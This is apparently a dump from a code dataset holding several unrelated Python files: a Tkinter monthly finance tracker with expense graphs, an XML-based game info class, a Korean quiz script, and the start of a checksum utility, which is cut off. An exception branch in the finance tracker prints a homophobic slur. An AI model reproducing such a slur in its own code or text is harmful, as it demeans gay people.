\"tr\"\r\n\r\n #Label texts\r\n try:\r\n monthlyExpense = ReadMonthlyExpense(DateOfCurrentExpenses)\r\n monthlyExpense = \"This month's expenses: \" + currence + monthlyExpense\r\n except:\r\n monthlyExpense=\"dsa\"\r\n \r\n todayDate = \"Today is: \" + day + \"/\" + month + \"/\" + year\r\n \r\n empty = 40*\"_\"\r\n #value = StringVar()\r\n \r\n label = ttk.Label(self, text=todayDate)\r\n label.grid(column=0,row=1, columnspan=2)\r\n\r\n label2 = ttk.Label(self, text=monthlyExpense)\r\n label2.grid(column=0,row=2, columnspan=2)\r\n\r\n itemLabel = ttk.Label(self, text=\"Item Name\")\r\n itemLabel.grid(column=0,row=3, columnspan=2)\r\n\r\n StoreLabel = ttk.Label(self, text=\"Store Name\")\r\n StoreLabel.grid(column=0,row=5, columnspan=2)\r\n\r\n \r\n\r\n try:\r\n MIFlist = ReadMonthlyItems(MonthlyItemsFile)\r\n NewVal = []\r\n itemEntry = ttk.Combobox(self, textvariable=StringVar())\r\n for x in range(len(MIFlist[0])):\r\n NewVal.append(UpperFirsts(MIFlist[0][x]))\r\n itemEntry['values'] = NewVal\r\n itemEntry.grid(column=0,row=4, columnspan=2)\r\n NewVal = []\r\n storeEntry = ttk.Combobox(self, textvariable=StringVar())\r\n for x in range(2, len(MIFlist)):\r\n NewVal.append(UpperFirsts(MIFlist[x][0]))\r\n storeEntry['values'] = NewVal\r\n storeEntry.grid(column=0, row=6, columnspan=2)\r\n \r\n except: \r\n itemEntry = ttk.Combobox(self, textvariable=StringVar())\r\n itemEntry.grid(column=0,row=4, columnspan=2)\r\n print(\"gay fucker\")\r\n\r\n storeEntry = ttk.Combobox(self, textvariable=StringVar())\r\n storeEntry.grid(column=0, row=6, columnspan=2)\r\n \r\n\r\n costLabel = ttk.Label(self, text=\"Total Cost\")\r\n costLabel.grid(column=0,row=7, columnspan=2)\r\n\r\n costEntry = ttk.Entry(self)\r\n costEntry.grid(column=0,row=8, columnspan=2)\r\n\r\n \r\n enterButton = ttk.Button(self, text=\"ENTER\", command=lambda: NewData(itemEntry, storeEntry, costEntry, controller, RElabel, UElabel, EDlabel, EIlabel, self, currentBGDS, currentLGDS, currentBGMI, currentBGPS, currentBGSI))\r\n enterButton.grid(column=0,row=9, columnspan=2)\r\n\r\n ####bottom left corner\r\n label12 = ttk.Label(self, text=empty)\r\n label12.grid(column=0,row=10, columnspan=2)\r\n\r\n GraphControlsLabel = ttk.Label(self, text=\"Graph Controls\")\r\n GraphControlsLabel.grid(column=0,row=11, columnspan=2)\r\n\r\n GSBbutton = ttk.Button(self, text=\"Show General Spendings (BG)\", command=lambda: self.GraphWork(True, False, False, False, False, 2, 0, 17, 10, TotalDailyExpenditureFile, MonthlyItemsFile, \"Kappa\"))\r\n GSBbutton.grid(column=0,row=12, columnspan=2)\r\n\r\n GSLbutton = ttk.Button(self, text=\"Show General Spendings (LG)\", command=lambda: self.GraphWork(False, True, False, False, False, 2, 0, 17, 10, TotalDailyExpenditureFile, MonthlyItemsFile, \"Kappa\"))\r\n GSLbutton.grid(column=0,row=13, columnspan=2)\r\n\r\n SPIbutton = ttk.Button(self, text=\"Show Spendings per Item\", command=lambda: self.GraphWork(False, False, True, False, False, 2, 0, 17, 10, TotalDailyExpenditureFile, MonthlyItemsFile, \"Kappa\"))\r\n SPIbutton.grid(column=0,row=14, columnspan=2)\r\n\r\n SPSbutton = ttk.Button(self, text=\"Show Spendings per Store\",command=lambda: self.GraphWork(False, False, False, True, False, 2, 0, 17, 10, TotalDailyExpenditureFile, MonthlyItemsFile, \"Kappa\"))\r\n SPSbutton.grid(column=0,row=15,columnspan=2)\r\n\r\n SSISbutton = ttk.Button(self, text=\"Show Spendings per Store Item\",command=lambda: self.StorePerItem())\r\n SSISbutton.grid(column=0,row=16,columnspan=2) \r\n\r\n LPSbutton = ttk.Button(self, text=\"Load Past Spendings\", command=lambda: controller.show_frame(LoadOldDataPage))\r\n LPSbutton.grid(column=0,row=17, columnspan=2)\r\n\r\n #### end blc\r\n\r\n\r\n ####bottom most row\r\n\r\n dash = ttk.Label(self, text=5*\"|\\n\")\r\n dash.grid(column=2, row=17, rowspan=2, sticky=\"w\")\r\n\r\n try:\r\n remainingExpenses = str(float(ReadMonthlyExpense(DateOfCurrentExpenses)) - float(ReadUsedExpenses(UsedExpensesFile)))\r\n remainingExpensesMessage = \"You have: \" + currence + remainingExpenses + \"\\n remaining this month!\"\r\n RElabel = Label(self, text=remainingExpensesMessage, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n RElabel.grid(column=3, row=17, rowspan=2)\r\n except:\r\n try:\r\n remainingExpenses = str(float(ReadMonthlyExpense(DateOfCurrentExpenses)))\r\n remainingExpensesMessage = \"You have: \" + currence + remainingExpenses + \"\\n remaining this month!\"\r\n RElabel = Label(self, text=remainingExpensesMessage, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n RElabel.grid(column=3, row=17, rowspan=2)\r\n except:\r\n originalMoneys = \"32\"\r\n expenditureLeft = \"You have: \" + currence + originalMoneys + \"\\n remaining this month!\"\r\n RElabel = Label(self, text=expenditureLeft, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n RElabel.grid(column=3, row=17, rowspan=2)\r\n\r\n try:\r\n usedExpenses = ReadUsedExpenses(UsedExpensesFile)\r\n usedExpensesMessage = \"You have spent: \" + currence + str(usedExpenses) + \"\\n this month!\"\r\n UElabel = Label(self, text=usedExpensesMessage, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n UElabel.grid(column=5, row=17, rowspan=2)\r\n except:\r\n usedExpenses = \"0\"\r\n usedExpensesMessage = \"You have spent: \" + currence + str(usedExpenses) + \"\\n this month!\"\r\n UElabel = Label(self, text=usedExpensesMessage, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n UElabel.grid(column=5, row=17, rowspan=2)\r\n\r\n try:\r\n TDEFlist = ReadTDEF(TotalDailyExpenditureFile)\r\n expensivestDayMessage = maxMessage(TDEFlist, True)\r\n EDlabel = Label(self, text=expensivestDayMessage, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n EDlabel.grid(column=7, row=17, rowspan=2)\r\n except:\r\n expensivestDayMessage = \"You haven't spent anything this month!\"\r\n EDlabel = Label(self, text=expensivestDayMessage, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n EDlabel.grid(column=7, row=17, rowspan=2)\r\n\r\n try:\r\n MIFlist = ReadMonthlyItems(MonthlyItemsFile)\r\n expensivestItemMessage = maxMessage(MIFlist, False)\r\n EIlabel = Label(self, text=expensivestItemMessage, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n EIlabel.grid(column=9, row=17, rowspan=2)\r\n except:\r\n expensivestItemMessage = \"You haven't bought anything this month!\"\r\n EIlabel = Label(self, text=expensivestItemMessage, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n EIlabel.grid(column=9, row=17, rowspan=2)\r\n\r\n ######Canvas and graph time!\r\n try:\r\n self.canvas = makeGraph(self, True, False, False, False, False, 2, 0, 17, 14, TotalDailyExpenditureFile, MonthlyItemsFile, \"Kappa\")\r\n except:\r\n self.canvas = Canvas(self, height=500,width=1000,bg=\"white\")\r\n self.canvas.grid(column=2,row=0, rowspan=17, columnspan=14)\r\n\r\n def GraphWork(self, BGDS, LGDS, BGMI, BGPS, BGSI, col, rw, rowsp, colsp, TDEfileName, MIfileName, lolz):\r\n self.canvas.get_tk_widget().destroy()\r\n self.canvas = makeGraph(self, BGDS, LGDS, BGMI, BGPS, BGSI, 2, 0, 17, 14, TotalDailyExpenditureFile, MonthlyItemsFile, lolz)\r\n\r\n def StorePerItem(self):\r\n self.canvas.get_tk_widget().destroy()\r\n \r\n self.SPIlabel = Label(self, text=\"Select Store to View\")\r\n MIFlist = ReadMonthlyItems(MonthlyItemsFile)\r\n storeList = [MIFlist[2][0]]\r\n for x in range(2, len(MIFlist)):\r\n storeList.append(MIFlist[x][0])\r\n print(storeList)\r\n ShowingStore = StringVar()\r\n ShowingStore.set(storeList[0])\r\n self.StoreMenu = ttk.OptionMenu(self, ShowingStore, *storeList)\r\n self.SPIlabel.grid(column=7, row=6, rowspan=2)\r\n self.StoreMenu.grid(column=7, row=8, rowspan=2)\r\n self.SPIbutton = ttk.Button(self, text=\"ENTER\", command=lambda: self.GetStoreAndProceed(ShowingStore))\r\n self.SPIbutton.grid(column=7, row=10, rowspan=2)\r\n\r\n def GetStoreAndProceed(self, ShowingStore):\r\n chosenStore = ShowingStore.get()\r\n self.SPIlabel.destroy()\r\n self.StoreMenu.destroy()\r\n self.SPIbutton.destroy()\r\n self.GraphWork(False, False, False, False, True, 2, 0, 17, 10, TotalDailyExpenditureFile, MonthlyItemsFile, chosenStore)\r\n\r\n\r\n \r\n\r\n\r\nclass LoadOldDataPage(Frame):\r\n def __init__(self, parent, controller):\r\n Frame.__init__(self, parent)\r\n self.Options(controller)\r\n \r\n def Options(self, controller):\r\n MonthsPure = [\"January\",\"January\",\"February\",\"March\",\"April\",\"May\", \"June\", \"July\", \"August\",\r\n \"September\", \"October\", \"November\", \"December\"]\r\n YearsPure = [\"2013\"]\r\n Years = 2013\r\n yearINT = int(year)\r\n for x in range(yearINT - Years + 1):\r\n YearsPure.append(str(Years))\r\n Years += 1\r\n ShowingMonth = StringVar()\r\n ShowingMonth.set(MonthsPure[0])\r\n ShowingYear = StringVar()\r\n ShowingYear.set(YearsPure[0])\r\n self.label = Label(self, text=\"Which data would you like to see from?\")\r\n self.MonthMenu = ttk.OptionMenu(self, ShowingMonth, *MonthsPure)\r\n self.YearMenu = ttk.OptionMenu(self, ShowingYear, *YearsPure)\r\n self.button = ttk.Button(self, text=\"ENTER\", command=lambda: self.loadGraph(ShowingMonth, ShowingYear, controller))\r\n self.backButton = ttk.Button(self, text=\"BACK\",command=lambda: controller.show_frame(Standard))\r\n self.label.pack()\r\n self.MonthMenu.pack()\r\n self.YearMenu.pack()\r\n self.button.pack()\r\n self.backButton.pack()\r\n\r\n\r\n def loadGraph(self,ShowingMonth, ShowingYear,controller):\r\n selectedMonth = ShowingMonth.get()\r\n selectedYear = ShowingYear.get()\r\n\r\n selectedMonthN = MonthsReverse[selectedMonth]\r\n\r\n DateOfOldExpenses = \"MonthlyExpense\" + selectedMonthN + selectedYear + \".txt\"\r\n OldUsedExpensesFile = \"UsedExpenses\" + selectedMonthN + selectedYear + \".txt\"\r\n self.OldMonthlyItemsFile = \"Items\" + selectedMonthN + selectedYear + \".csv\"\r\n OldTotalDailyExpenditureFile = \"DailyExpenditure\" + selectedMonthN + selectedYear + \".csv\"\r\n OldCurrency = \"Currency\" + selectedMonthN + selectedYear + \".txt\"\r\n\r\n try:\r\n MI2file = ReadMonthlyItems(self.OldMonthlyItemsFile)\r\n oldExpense = ReadMonthlyExpense(DateOfOldExpenses)\r\n oldUsedExpense = ReadUsedExpenses(OldUsedExpensesFile)\r\n TDE2file = ReadTDEF(OldTotalDailyExpenditureFile)\r\n\r\n textfile = open(OldCurrency, \"r\")\r\n currence = textfile.read()\r\n \r\n self.label.destroy()\r\n self.MonthMenu.destroy()\r\n self.YearMenu.destroy()\r\n self.button.destroy()\r\n self.backButton.destroy()\r\n\r\n self.returnButton = ttk.Button(self, text=\"Return\", command=lambda: self.Graph2Options(controller))\r\n self.DSBG = ttk.Button(self, text=\"Show General Spendings (BG)\", command=lambda: self.InitiateGraph(0, OldTotalDailyExpenditureFile, self.OldMonthlyItemsFile))\r\n self.DSLG = ttk.Button(self, text=\"Show General Spendings (LG)\", command=lambda: self.InitiateGraph(1, OldTotalDailyExpenditureFile, self.OldMonthlyItemsFile))\r\n self.SIBG = ttk.Button(self, text=\"Show Spendings per Item\", command=lambda: self.InitiateGraph(2, OldTotalDailyExpenditureFile, self.OldMonthlyItemsFile))\r\n self.SpS = ttk.Button(self, text=\"Show Spendings per Store\", command=lambda: self.InitiateGraph(3, OldTotalDailyExpenditureFile, self.OldMonthlyItemsFile))\r\n self.SpSI = ttk.Button(self, text=\"Show Spendings per Store Item\", command=lambda: self.InitiateGraph(4, OldTotalDailyExpenditureFile, self.OldMonthlyItemsFile))\r\n self.returnButton.grid(column=0,row=0, columnspan=2)\r\n self.graphL = Label(self, text=\"Graph Controls\")\r\n self.graphL.grid(column=0,row=2, columnspan=2)\r\n self.DSBG.grid(column=0,row=3, columnspan=2)\r\n self.DSLG.grid(column=0,row=4, columnspan=2)\r\n self.SIBG.grid(column=0,row=5, columnspan=2)\r\n self.SpS.grid(column=0,row=6, columnspan=2)\r\n self.SpSI.grid(column=0,row=7, columnspan=2)\r\n\r\n \r\n print(\"n\")\r\n self.canvas = makeGraph(self, True, False, False, False, False, 2, 0, 17, 14, OldTotalDailyExpenditureFile, self.OldMonthlyItemsFile, \"Kappa\")\r\n print(\"n\")\r\n oldRemainingExpenses = str(float(oldExpense) - float(oldUsedExpense))\r\n print(\"n\")\r\n saved = \"You saved \" + currence + oldRemainingExpenses + \" this month!\"\r\n print(\"n\")\r\n spent = \"You spent \" + currence + str(oldUsedExpense) + \" this month!\"\r\n print(\"n\")\r\n expensivestDay = maxMessage(TDE2file, True)\r\n print(\"n\")\r\n expensivestItem = maxMessage(MI2file, False)\r\n \r\n\r\n\r\n\r\n self.ODlabel = Label(self, text=saved, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n self.ODlabel2 = Label(self, text=spent, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n self.ODlabel3 = Label(self, text=expensivestDay, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n self.ODlabel4 = Label(self, text=expensivestItem, borderwidth=2, relief=\"solid\", bg=\"yellow\")\r\n self.ODlabel.grid(column=0, row=9, columnspan=2)\r\n self.ODlabel2.grid(column=0, row=11, columnspan=2)\r\n self.ODlabel3.grid(column=0, row=13, columnspan=2)\r\n self.ODlabel4.grid(column=0, row=15, columnspan=2)\r\n \r\n \r\n except:\r\n messagebox.showerror(title=\"Files not found!\",message=\"You do not have any data in this time period!\")\r\n\r\n\r\n def InitiateGraph(self, a, fileA, fileB):\r\n self.canvas.get_tk_widget().destroy()\r\n if a == 0:\r\n self.canvas = makeGraph(self, True, False, False, False, False, 2, 0, 17, 14, fileA, fileB, \"Kappa\")\r\n elif a == 1:\r\n self.canvas = makeGraph(self, False, True, False, False, False, 2, 0, 17, 14, fileA, fileB, \"Kappa\")\r\n elif a == 2:\r\n self.canvas = makeGraph(self, False, False, True, False, False, 2, 0, 17, 14, fileA, fileB, \"Kappa\")\r\n elif a == 3:\r\n self.canvas = makeGraph(self, False, False, False, True, False, 2, 0, 17, 14, fileA, fileB, \"Kappa\")\r\n else:\r\n self.StorePerItem(fileA)\r\n\r\n\r\n \r\n def Graph2Options(self, controller):\r\n self.returnButton.destroy()\r\n self.graphL.destroy()\r\n self.DSBG.destroy()\r\n self.DSLG.destroy()\r\n self.SIBG.destroy()\r\n self.SpS.destroy()\r\n self.SpSI.destroy()\r\n self.canvas.get_tk_widget().destroy()\r\n self.ODlabel.destroy()\r\n self.ODlabel2.destroy()\r\n self.ODlabel3.destroy()\r\n self.ODlabel4.destroy()\r\n self.Options(controller)\r\n\r\n def StorePerItem(self, TotalDailyExpenditureFile):\r\n self.canvas.get_tk_widget().destroy()\r\n \r\n self.SPIlabel = Label(self, text=\"Select Store to View\")\r\n MIFlist = ReadMonthlyItems(self.OldMonthlyItemsFile)\r\n storeList = [MIFlist[2][0]]\r\n for x in range(2, len(MIFlist)):\r\n storeList.append(MIFlist[x][0])\r\n print(storeList)\r\n ShowingStore = StringVar()\r\n ShowingStore.set(storeList[0])\r\n self.StoreMenu = ttk.OptionMenu(self, ShowingStore, *storeList)\r\n self.SPIlabel.grid(column=7, row=6, rowspan=2)\r\n self.StoreMenu.grid(column=7, row=8, rowspan=2)\r\n self.SPIbutton = ttk.Button(self, text=\"ENTER\", command=lambda: self.GetStoreAndProceed(ShowingStore, TotalDailyExpenditureFile))\r\n self.SPIbutton.grid(column=7, row=10, rowspan=2)\r\n\r\n def GetStoreAndProceed(self, ShowingStore, TotalDailyExpenditureFile):\r\n chosenStore = ShowingStore.get()\r\n self.SPIlabel.destroy()\r\n self.StoreMenu.destroy()\r\n self.SPIbutton.destroy()\r\n self.canvas = makeGraph(self, False, False, False, False, True, 2, 0, 17, 10, TotalDailyExpenditureFile, self.OldMonthlyItemsFile, chosenStore)\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n \r\napp = MainFrame()\r\napp.mainloop()\r\n\r\nraise SystemExit(0)\r\n", "sub_path": "Finance Tracker.py", "file_name": "Finance Tracker.py", "file_ext": "py", "file_size_in_byte": 35374, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "matplotlib.use", "line_number": 7, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 12, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 13, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 16, "usage_type": "name"}, {"api_name": "csv.reader", "line_number": 85, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 92, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 98, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.figure.Figure", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 173, "usage_type": "call"}, {"api_name": "tkinter.ttk.OptionMenu", "line_number": 433, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 433, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 435, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 435, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 436, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 436, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 437, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 437, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 439, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 439, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 492, "usage_type": "attribute"}, {"api_name": "tkinter.ttk", "line_number": 492, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame.__init__", "line_number": 497, "usage_type": "call"}, {"api_name": "tkinter.ttk.Frame", "line_number": 497, "usage_type": "attribute"}, {"api_name": "tkinter.ttk", "line_number": 497, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 517, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 517, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 520, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 520, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 523, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 523, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 526, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 526, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 534, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 534, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 540, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 540, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 547, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 547, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 551, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 551, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 555, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 555, "usage_type": "name"}, {"api_name": "tkinter.ttk.Entry", "line_number": 558, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 558, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 562, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 562, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 566, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 566, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 569, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 569, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 572, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 572, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 575, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 575, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 578, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 578, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 581, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 581, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 584, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 584, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 587, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 587, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 595, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 595, "usage_type": "name"}, {"api_name": "tkinter.ttk.OptionMenu", "line_number": 668, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 668, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 671, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 671, "usage_type": "name"}, {"api_name": "tkinter.ttk.OptionMenu", "line_number": 704, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 704, "usage_type": "name"}, {"api_name": "tkinter.ttk.OptionMenu", "line_number": 705, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 705, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 706, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 706, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 707, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 707, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 742, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 742, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 743, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 743, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 744, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 744, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 745, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 745, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 746, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 746, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 747, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 747, "usage_type": "name"}, {"api_name": "tkinter.ttk.OptionMenu", "line_number": 829, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 829, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 832, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 832, "usage_type": "name"}]} {"seq_id": "107759441", "text": "import sys, os\nimport xml.etree.ElementTree as ET\n\nclass gameBox:\n \"\"\"An info container class\"\"\"\n name = \"\"\n filename = \"\"\n imgsrc = \"\"\n programID = 0\n PID = 0\n \n def __init__(self, filename):\n self.filename = filename\n self.parseXML()\n\n def parseXML(self):\n gamesDirectoryPresent = False\n for dirname, dirnames, filenames in os.walk('.'):\n for subdirname in dirnames:\n if subdirname == \"games\":\n gamesDirectoryPresent = True\n \n if not gamesDirectoryPresent:\n raise Exception(\"No games directory\")\n infoFilePresent = False\n for dirname, dirnames, filenames in os.walk(\"./games\"):\n for filename in filenames:\n if filename == self.filename:\n infoFilePresent = True\n if not infoFilePresent:\n raise Exception(\"No game info file\")\n \n gameTree = ET.parse(\"./games/\" + self.filename)\n gameRoot = gameTree.getroot()\n \n self.programID = gameRoot.find(\"PID\").text\n self.PID = self.programID\n self.name = gameRoot.find(\"name\").text\n self.imgsrc = gameRoot.find(\"imagesource\").text\n", "sub_path": "gameBox.py", "file_name": "gameBox.py", "file_ext": "py", "file_size_in_byte": 1260, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.walk", "line_number": 18, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 26, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.parse", "line_number": 33, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 33, "usage_type": "name"}]} {"seq_id": "414670802", "text": "# -*- coding: utf-8 -*-\nimport statistics\n\nfrom _anwfunction.analyze_antanswer import dpCompares, compare\nfrom _anwfunction.read_antanswer import readAnw, readOpt, anwDetail\n\nwith open(\"anwOpt.json\", 'r', encoding='utf-8-sig') as f:\n anwOpt = readOpt(f)\nwith open(anwOpt[\"ads_path\"], 'r', encoding='utf-8-sig') as f:\n dMode = anwOpt[\"detail_mode\"]\n DATA = readAnw(f)\n data_list = DATA.data_list\n DLen = len(data_list)\n if dMode == \"opt\":\n wil = anwOpt[\"basic_wil\"]\n recent = anwOpt[\"basic_recent\"]\n DATA = DATA._replace(anwDetail=anwDetail(wil=wil, recent=recent))\n elif dMode == \"opt_rv\":\n wil = anwOpt[\"basic_wil\"]\n recent = int(DLen * anwOpt[\"basic_recentValue\"])\n DATA = DATA._replace(anwDetail=anwDetail(wil=wil, recent=recent))\n elif dMode == \"file\":\n wil = DATA.anwDetail.wil\n recent = DATA.anwDetail.recent\n DATA = DATA._replace(anwDetail=anwDetail(wil=wil, recent=recent))\n else :\n quit()\n\n\nn = DLen - 1\nhistory = [None for i in range(recent)]\n\niMode = anwOpt[\"interface\"].upper()\nif iMode == \"GUI\":\n isCLI = False\n from _anwUi.gui_antanswer import *\n import sys\n app = QtWidgets.QApplication(sys.argv)\n\n ui = anwUi(DATA)\n sys.exit(app.exec_())\n\nelif iMode == \"CLI\":\n from random import randint\n from time import time\n from _anwfunction.analyze_antanswer import compare, dpCompares\n isCLI = True\n \n\nelse :\n quit()\n\nif not isCLI:\n quit()\nwhile True:\n score = 0\n aHistory = []\n dpHistory = []\n qHistory = []\n \n st = time()\n\n # core\n for i in range(wil):\n r = i #appended\n #r = randint(0, n)\n #while r in history[-recent:]:\n #r = randint(0, n)\n\n #history.append(r)\n answer, question = data_list[r][0], data_list[r][1][randint(0, len(data_list[r][1]) - 1)]\n\n print(question)\n a = input()\n if a in answer:\n score += 1\n print(\"\\n\" * 30)\n print(\"정답! : %d\" % score)\n\n else :\n print(\"\\n\" * 30)\n print(\"틀림! : %d\" % score)\n\n aHistory.append(a)\n dpHistory.append(answer)\n qHistory.append(question)\n a = None\n\n print(\"정답률 :\" + str(score / wil))\n st = time() - st\n print(str(st) + \"초걸림 |\")\n print(str(st / wil) + \"초/한문항당\")\n result = dpCompares(aHistory, dpHistory)\n print(\"평균 정확도:\", statistics.mean(result[0]))\n\n # display result\n if compare(input(\"결산을 보시고 싶다면 'result'를 입력\"), \"result\") > 0.9:\n print(\"\\n\")\n print(\"단어 일치율 // 당신이 쓴 답 // 원래 답\")\n for i in range(len(result[0])):\n print(round(result[0][i], 3), \"//\", result[1][i], \"//\", result[2][i])\n # repeat\n if compare(input(\"반복 하려면 repeat\"), \"repeat\") > 0.9:\n continue\n else :\n break\n", "sub_path": "antanswer-poem/main_antanswer.py", "file_name": "main_antanswer.py", "file_ext": "py", "file_size_in_byte": 2926, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "_anwfunction.read_antanswer.readOpt", "line_number": 8, "usage_type": "call"}, {"api_name": "_anwfunction.read_antanswer.readAnw", "line_number": 11, "usage_type": "call"}, {"api_name": "_anwfunction.read_antanswer.anwDetail", "line_number": 17, "usage_type": "call"}, {"api_name": "_anwfunction.read_antanswer.anwDetail", "line_number": 21, "usage_type": "call"}, {"api_name": "_anwfunction.read_antanswer.anwDetail", "line_number": 25, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 38, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 41, "usage_type": "call"}, {"api_name": "time.time", "line_number": 61, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 71, "usage_type": "call"}, {"api_name": "time.time", "line_number": 90, "usage_type": "call"}, {"api_name": "_anwfunction.analyze_antanswer.dpCompares", "line_number": 93, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 94, "usage_type": "call"}, {"api_name": "_anwfunction.analyze_antanswer.compare", "line_number": 97, "usage_type": "call"}, {"api_name": "_anwfunction.analyze_antanswer.compare", "line_number": 103, "usage_type": "call"}]} {"seq_id": "60821171", "text": "\"\"\"\nContain logic related to index\n\"\"\"\n\nimport hashlib\nfrom pathlib import Path\n\nINDEX_FILE = '.ftpsync'\n\n\ndef compute_file_checksum(file_path: str) -> str:\n \"\"\"\n Compute the SHA-256 checksum of given file\n :param file_path: path to the file to compute checksum for\n :return: computed file checksum\n \"\"\"\n hasher 